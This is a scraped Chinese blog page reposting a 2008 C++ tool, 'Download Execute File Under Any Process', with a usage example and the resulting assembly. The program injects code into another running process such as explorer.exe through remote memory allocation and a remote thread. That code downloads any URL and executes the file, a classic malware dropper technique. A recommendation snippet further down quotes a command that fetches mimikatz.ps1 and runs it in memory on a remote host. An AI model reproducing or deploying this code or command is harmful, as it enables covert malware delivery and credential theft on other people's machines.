Download Execute File Under Any Process

【信息科学与工程学】计算机科学与自动化 第二百三十三篇 凤凰架构02 ① Firecracker 为每个 microVM 提供极简设备模型:virtio-net, virtio-blk, serial console。:① BB84:Alice 随机选择基矢(+ 或 ×)发送单光子,Bob 随机测量基矢,比对后保留一致位的子集作为原始密钥。:密度 1 EB/mm³;:① Parquet 文件:行组(Row Group)→ 列块(Column Chunk)→ 页(Page)。 阅读详情
 Downloader
  Makes a process download a specific file

  Notes
      -> Allocates two memory regions in the external process
        a) Space for four strings (and the null termination bytes)
            -> "URLMON.DLL"
            -> "open"
            -> The URL to download from
            -> The path to save to

        b) The calls to neccecary functions to download and execute the file

      -> Builds and writes the specific instructions to download and execute the file
      -> Creates a thread starting at the address of the allocated memory
      -> Free's memory once download is done and executed

  Usage example
      CExternalDownload* Download = new CExternalDownload( );
      Download->InitDownload( );
      Download->DownloadFileFromProcess( Download->GetProcessPID( "explorer.exe" ),
                                "http://www.site.com/file.txt",
                                "c://file.txt" );
      delete Download;

  Resulting ASM in external process once written
      PUSH 0DD0000                            ; ASCII "URLMON.DLL"
      CALL kernel32.LoadLibraryA
      PUSH 0
      PUSH 0
      PUSH 0DD002D                            ; ASCII "c:/file.exe"
      PUSH 0DD0010                            ; ASCII "http://www.site.com/file.exe"
      PUSH 0
      CALL URLMON.URLDownloadToFileA
      PUSH 5
      PUSH 0
      PUSH 0
      PUSH 0DD002D                            ; ASCII "c:/file.exe"
      PUSH 0DD000B                            ; ASCII "open"
      PUSH 0
      CALL SHELL32.ShellExecuteA
      RETN

  Coded by a59
  06/06/08
*/
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>

struct SNeededCalls
{
  unsigned long LoadLibraryC;
  unsigned long DownloadFileC;
  unsigned long ShellExecuteC;
}NeededCalls;

class CExternalDownload
{
public:
  // (Con/de)structors
  CExternalDownload( );
  ~CExternalDownload( );
  // Initialization
  bool InitDownload( );
  // Add data to calls buffer
  void AddByte( unsigned char Byte );
  void AddWord( unsigned short Word );
  void AddDword( unsigned long Dword );
  // Add ASM instructions to calls buffer
  void Push( unsigned long Data );
  void Call( unsigned long Function );
  void WriteRetn( );
  // Writes Functions in allocated space
  void WriteLoadLibrary( char* szFile );
  void WriteURLDownloadToFile( char* szUrl, char* szPath );
  void WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown );
  // Calculate and build each buffer
  void BuildCallBuffer( int UrlLength );
  void BuildStringBuffer( char* szUrl, char* szPath );
  // Download
  bool DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath );
  // Get PID
  unsigned long GetProcessPID( char* szFile );
protected:
  unsigned char Calls[ 128 ];
  char StringsAligned[ 512 ];
  unsigned long MyStrings, MyCalls;
  int CallSize, StringSize;
  bool Initialized;
  SNeededCalls NeededCalls;
};

CExternalDownload::CExternalDownload( )
{
  CallSize = 0;
  Initialized = false;

  ZeroMemory( Calls, 128 ); 
  ZeroMemory( StringsAligned, 512 );
};

CExternalDownload::~CExternalDownload( )
{
};

bool CExternalDownload::InitDownload( )
{
  HMODULE Kernel32, Urlmon, Shell32;

  Kernel32 = GetModuleHandle( "KERNEL32.DLL" );
  Urlmon = LoadLibrary( "URLMON.DLL" );
  Shell32 = LoadLibrary( "SHELL32.DLL" );

  NeededCalls.LoadLibraryC = (unsigned long)GetProcAddress( Kernel32, "LoadLibraryA" );
  NeededCalls.DownloadFileC = (unsigned long)GetProcAddress( Urlmon, "URLDownloadToFileA" );
  NeededCalls.ShellExecuteC = (unsigned long)GetProcAddress( Shell32, "ShellExecuteA" );

  if( !NeededCalls.LoadLibraryC || !NeededCalls.DownloadFileC || !NeededCalls.ShellExecuteC )
      return false;

  Initialized = true;

  return true;
};

void CExternalDownload::AddByte( unsigned char Byte )
{
  *(unsigned char *)(Calls + CallSize) = Byte;
  CallSize += 1;
};

void CExternalDownload::AddWord( unsigned short Word )
{
  *(unsigned short *)(Calls + CallSize) = Word;
  CallSize += 2;
};

void CExternalDownload::AddDword( unsigned long Dword )
{
  *(unsigned long *)(Calls + CallSize) = Dword;
  CallSize += 4;
};

void CExternalDownload::Push( unsigned long Data )
{
  if( Data <= 0xFF )
  {
      AddByte( 0x6A );
      AddByte( Data );
  } else {
      AddByte( 0x68 );
      AddDword( Data );
  }
};

void CExternalDownload::Call( unsigned long Function )
{
  AddByte( 0xE8 );
  AddDword( Function - ( MyCalls + CallSize - 1 ) - 5 );
};

void CExternalDownload::WriteRetn( )
{
  AddByte( 0xC3 );
};

void CExternalDownload::WriteLoadLibrary( char* szFile )
{
  Push( (unsigned long)szFile );

  Call( NeededCalls.LoadLibraryC );
};

void CExternalDownload::WriteURLDownloadToFile( char* szUrl, char* szPath )
{
  Push( 0 );
  Push( 0 );
  Push( (unsigned long)szPath );
  Push( (unsigned long)szUrl );
  Push( 0 );

  Call( NeededCalls.DownloadFileC );
};

void CExternalDownload::WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown )
{
  Push( IsShown );
  Push( 0 );
  Push( (unsigned long)Parameters );
  Push( (unsigned long)FileName );
  Push( (unsigned long)Operation );
  Push( 0 );

  Call( NeededCalls.ShellExecuteC );
};

void CExternalDownload::BuildCallBuffer( int UrlLength )
{
  char* szUrlmonDLL = (char *)MyStrings;
  char* szOpen = (char *)MyStrings + 11;
  char* szUrl = (char *)MyStrings + 16;
  char* szPath = (char *)MyStrings + UrlLength + 17;

  WriteLoadLibrary( szUrlmonDLL );
  WriteURLDownloadToFile( szUrl, szPath );
  WriteShellExecute( szOpen, szPath, 0, SW_SHOW );
  WriteRetn( );
};

void CExternalDownload::BuildStringBuffer( char* szUrl, char* szPath )
{
  /* Buffer will be ZeroMemory'd before this call */
  unsigned long DllAddress = (unsigned long)StringsAligned;
  unsigned long OpenAddress = (unsigned long)StringsAligned + 11;
  unsigned long UrlAddress = (unsigned long)StringsAligned + 16;
  unsigned long PathAddress = (unsigned long)StringsAligned + 17 + strlen( szUrl );

  strcpy( (char *)DllAddress, "URLMON.DLL" );
  strcpy( (char *)OpenAddress, "open" );
  strcpy( (char *)UrlAddress, szUrl );
  strcpy( (char *)PathAddress, szPath );
};

bool CExternalDownload::DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath )
{
  HANDLE hProcess, ExternalThread;

  if( !Initialized )
      return false;

  if( ( hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid ) ) == 0 )
      return false;
 
  StringSize = 11 + 5 + strlen( szUrl ) + strlen( szPath ) + 2;

  MyStrings = (unsigned long)VirtualAllocEx( hProcess, 0, StringSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  MyCalls = (unsigned long)VirtualAllocEx( hProcess, 0, 75, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

  if( !MyStrings || !MyCalls )
  {
      CloseHandle( hProcess );
      return false;
  }

  BuildStringBuffer( szUrl, szPath );
  BuildCallBuffer( strlen( szUrl ) );

  if( !WriteProcessMemory( hProcess, (void *)MyCalls, Calls, 75, 0 ) )
  {
      CloseHandle( hProcess );
      return false;
  }

  if( !WriteProcessMemory( hProcess, (void *)MyStrings, StringsAligned, StringSize, 0 ) )
  {
      CloseHandle( hProcess );
      return false;
  }

  ExternalThread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)MyCalls, 0, 0, 0 );

  if( !ExternalThread )
  {
      CloseHandle( hProcess );
      return false;
  }

  WaitForSingleObject( ExternalThread, INFINITE );

  VirtualFreeEx( hProcess, (void *)MyCalls, 75, MEM_DECOMMIT );
  VirtualFreeEx( hProcess, (void *)MyStrings, StringSize, MEM_DECOMMIT );

  CloseHandle( hProcess );
  return true;
};

unsigned long CExternalDownload::GetProcessPID( char* szFile )
{
  PROCESSENTRY32 pe32;
  HANDLE hProcess;

  pe32.dwSize = sizeof( PROCESSENTRY32 );

  hProcess = CreateToolhelp32Snapshot( 2, 0 );

  if( !hProcess )
      return 0;

  if( !Process32First( hProcess, &pe32 ) )
      return 0;

  do
  {
      if( stricmp( szFile, pe32.szExeFile ) == 0 )
      {
        return pe32.th32ProcessID;
      }
  }while( Process32Next( hProcess, &pe32 ) );

  return 0;
};

int main( )
{
  CExternalDownload* Download;
  char szUrl[ 512 ], szPath[ MAX_PATH ], szFile[ 128 ];
  unsigned long Pid;

  std::cout << "Enter the URL to download from: ";
  std::cin.getline( szUrl, 512 );

  std::cout << "Enter the path to save to: ";
  std::cin.getline( szPath, MAX_PATH );

  std::cout << "Enter the process to download from: ";
  std::cin.getline( szFile, 128 );

  Download = new CExternalDownload( );

  if( !Download->InitDownload( ) )
  {
      std::cout << "Error locating needed function addresses/n";
      return 0;
  }
 
  Pid = Download->GetProcessPID( szFile );

  if( Pid == 0 )
  {
      std::cout << "Process not running/n";
  } else {
      if( Download->DownloadFileFromProcess( Pid, szUrl, szPath ) )
      {
        std::cout << "Started download from " << szUrl << " to " << szPath << " as " << szFile << "(" << Pid << ")" << std::endl;
      } else {
        std::cout << "Error starting download/n";
      }
  }

  delete Download;

  return 0;
};
【信息科学与工程学】计算机科学与自动化 第二百三十三篇 凤凰架构01 编号类型领域系统软件/硬件或系统集成方案及系统架构模块子模块函数名称/算法名称算法的数学分析及计算机体系架构及数据结构与算法详细设计及参数列表及数值范围设计关联知识1共识算法分布式基石状态机复制架构:Proposer/Acceptor/Learner 多节点角色模型,基于操作转移(Operation Transfer)分布式共识PaxosPaxos 协议(Prepare/Promise/Accept/Accepted 两阶段)数学基础:多数派(Quorum)投票,基于鸽巢原理保证 W+R>N 时读写集合必有 阅读详情

相关推荐

PowerShell-DL-Exec:轻松下载并在远程主机上执行PowerShell脚本

Download and Execute - PowerShell greg . foss [at] logrhythm . com @heinzarelli v0.1 -- July 2015 [关于] DL-Exec是一个简单的脚本,它利用用户提供的参数来下载和执行带有远程主机上的参数的PowerShell脚本。 该脚本甚至可以通过memoryExec参数运行而无需接触磁盘,或者如果需要运行时参数,则可以直接在主机上下载并执行该脚本。 [如何] Execute a PowerShell script on a remote host in-memory: PS C:\> dl-exec.ps1 -source http://some.site/mimikatz.ps1 -target 10.10.10.10 -memoryExec -argument

android 7.0 Downloadprovider 下载流程

1.Downloadprovider 源码路径 Download的源码编译分为两个部分,一个是DownloadProvider.apk, 一个是DownloadProviderUi.apk.这两个apk的源码分别位于  packages/providers/DownloadProvider/ui/src  packages/providers/DownloadProvider/src 其中,D

cengdong的博客 5636

从仿真到打样:PMOS栅极泄放电路设计全流程复盘与三个踩坑点总结

本文详细复盘了PMOS栅极泄放电路从仿真到打样的全流程设计,重点总结了三个关键踩坑点:三极管BE结过压击穿、静态功耗超标和栅极振荡现象。通过优化缓启动电路、改进保护设计和布局调整,最终实现18ms开通时间、190μs关断时间和8μA静态功耗的工业级性能指标,为类似电源开关设计提供实用参考。

weixin_28693683的博客 371

java 多线程下载器_Java多线程下载初试

一、服务端/客户端代码的实现服务端配置config1 @ConfigurationProperties("storage")2 public classStorageProperties {3 private String location = "D:\\idea_project\\upload\\src\\main\\resources\\upload-files";45 pub...

weixin_34502341的博客 322

图片数据爬取工具Image-Downloader的安装和使用

文章目录1、python安装2、下载chromedriver并配置3、下载phantomjs并配置.4、安装相关python库5、使用 安装包地址:https://github.com/sczhengyabin/Image-Downloader 下载: 方式一:打开cmd,输入: git clone https://github.com/sczhengyabin/Image-Downloader.git 方式二:打开网址 1、python安装 该数据爬取工具要求python>=3.5,由于

wxplol的博客 6674

智能车‘大脑’的诞生:揭秘电磁循迹代码背后的控制论与系统思维

本文深入探讨智能车电磁循迹系统的核心架构与控制原理,揭示了其作为精密闭环系统如何通过模块化设计、信号处理、PID控制算法及电机驱动实现自主导航。重点分析了电磁信号采集与处理流程框架,为开发者提供从理论到实践的全面指南。

arduino9maker的博客 532

java实现对网络文件的分片下载

import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.RandomAccessFile; import java.net.HttpURLConnecti...

Davie's Happy Life 6666

使用Docker搭建MaxKB智能体平台

【代码】使用Docker搭建MaxKB智能体平台。

janthinasnail的博客 711

DownloadManager之DownloadThread浅析

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33782386的博客 567

2023华为od机试C卷【启动多任务排序】C++ 实现

一个应用启动时,会有多个初始化任务需要执行,并且任务之间有依赖关系,例如A任务依赖B任务,那么必须在B任务执行完成之后,才能开始执行A任务。现在给出多条任务依赖关系的规则,请输入任务的顺序执行序列,规则采用贪婪策略,即一个任务如果没有依赖的任务,则立刻开始执行,如果同时有多个任务要执行,则根据任务名称字母顺序排序。

MISAYAONE的博客 888

QT+QGIS跨平台编译(基于Qt,采用一套代码、一套框架,完成QGIS第三方库、核心库、应用程序的跨平台编译)

QT+QGIS跨平台编译。 基于Qt,采用一套代码、一套框架,完成QGIS第三方库、核心库、应用程序的跨平台编译。

LuckyHanMo的博客 4380

Download and execute file under any process

 while the internet was out for 3 days, so I wrote this... it will download and execute any file under any process name (perhaps explorer.exe or IEXPLORE.EXE)./*DownloaderMakes a process download

868

数据挖掘实战-基于情感分析+网络语义分析+LDA主题分析对大唐不夜城用户评论进行文本分析

本研究基于去哪儿网和携程网的1888条大唐不夜城游客评论数据,运用Python进行文本分析。通过情感分析发现游客评价以积极为主(占比约70%),中性占20%,消极占10%。采用ROSTCM6软件进行社会网络语义分析,识别不同情绪下的高频词汇。使用LDA主题模型将评论划分为3个主题(夜景、表演、美食),并分析主题强度随时间变化趋势。实验包含数据采集、预处理、情感分析、语义网络分析和LDA建模等完整流程,为景区管理优化提供数据支持。源代码涵盖爬虫、数据处理和可视化分析的全套实现。

m0_64336780的博客 1万+

CANN/hcomm HCCL-VM虚拟执行环境

HCCL-VM is a virtual execution environment for high-performance collective communication targeting Huawei Ascend NPU cards. This tool enables the development and functional verification of HCCL collec

gitblog_00459的博客 1092

【5】GD32H7xx CAN发送及FIFO接收

GD32H7xx CAN收发调试记录,包含源码

madao1234的博客 1818

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

昇腾CANN/GE编码红线

### 1. Prohibit Hardcoding Sensitive Information and Using Prohibited Sensitive Words 1. Hardcoding plaintext passwords, keys, and other high-level sensitive data in source code. 2. Having deprecated

gitblog_00724的博客 361

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Deep Agents 框架-基础篇

DeepAgents是LangChain生态中的高级API,构建于LangChain核心智能体模块和LangGraph运行时之上,旨在简化复杂智能体的开发。它提供任务规划、文件系统管理、子智能体生成等内置功能,适用于长期运行的多步骤任务。然而,DeepAgents并非独立框架,仍需依赖LangChain和LangGraph,学习成本较高。文档详细介绍了其核心能力、与LangChain/LangGraph的差异、配置方法及最佳实践,强调其在处理复杂任务时的优势,但也指出工程化选择需谨慎考虑其依赖关系和实际需求

yanghuashuiyue的专栏 448

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Unity Android log view(Android Debug Bridge)

Android Debug Bridge

蛰伏--当你不够强大时,就不要放弃努力 4161

【Embedded Development】【Zephyr】【Windows】基于STM32的Zephyr移植

指定板子后,需要参考默认的配置的固定关键字,去匹配指定的boards中的板子中的stm32设备树的aliases的led0的green_led_4(对应到stm32设备树的led0 = &green_led_4;然后,进行自定义修改引脚,这个创建boards文件方法是一种,也可以修改nrf54h20dk_nrf54h20_cpuppr.overlay中的gpio,编译时再指定使用板子原始版本的stm32f4_disco,也可以达到一样的效果。仓库,然后SDK下载在zephyr_project下。

qq_73648789的博客 579

juju reactive charm (by quqi99)

sudo snap install charm --classic mkdir -p /bak/work/charms/layers export JUJU_REPOSITORY=/bak/work/charms export LAYER_PATH=$JUJU_REPOSITORY/layers cd $LAYER_PATH charm create simple cd simple sudo ...

技术并艺术着 8741

nishang的介绍与使用

0x01前言 Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang的各种姿势获取一个shell。 项目地址 :https://github.com/samratashok/nishang 0x02 Powershell交互式Shel...

weixin_30315723的博客 597

《内网安全攻防:渗透测试实战指南》读书笔记(三):隐藏通信隧道技术

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说

闵行小鱼塘 5324

Nishang:权限提升

1.下载执行 Download_Execute 是 Nishang 中的下载执行脚本,常用于下载文本文件,然后将其转换为可执行文件执行 利用 Nishang 中的 exetotext.ps1 脚本将 Metasploit 生成的木马端 msf.exe 更改为文本文件 msf.txt ExetoText 2.Bypass UAC Invoke-PsUACme 模块使用了来自 UACME 项目的DLL来绕过UAC,作用是绕过UAC,比较全面 ...

weixin_46104215的博客 507

Linux 进程控制:fork、exit、wait、exec 与手写一个 mini shell

讲清进程控制的四个动作:fork 创建(内核四件事与写时拷贝)、exit/_exit/return 终止与 8 位退出码、wait/waitpid 等待与 status 位图、exec 七接口与唯一系统调用 execve,最后用这些零件拼出一个支持 cd/export/echo 的 mini shell,并解释环境变量两张表与 putenv 浅拷贝坑。附速查表与 14 道自测题。

BIII__的博客 191

第一章 Shell 概述

本文介绍了Shell编程的基础知识,包括Shell的起源与发展、常见Shell类型及查看方式,阐述了Shell作为命令解释器连接用户与操作系统内核的作用。强调其作为解释型脚本语言的优势,适用于系统管理自动化任务。内容涵盖Shell脚本基本结构、注释规范、编写风格、执行方法及常用命令(如echo、printf、history、管道等),并讲解了命令执行顺序、退出状态码等核心概念,为初学者提供系统学习路径。

sbjdhjd的博客 307
上一篇: 无ARP欺骗的嗅探技术
下一篇: Java 下载者 IE & FF
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值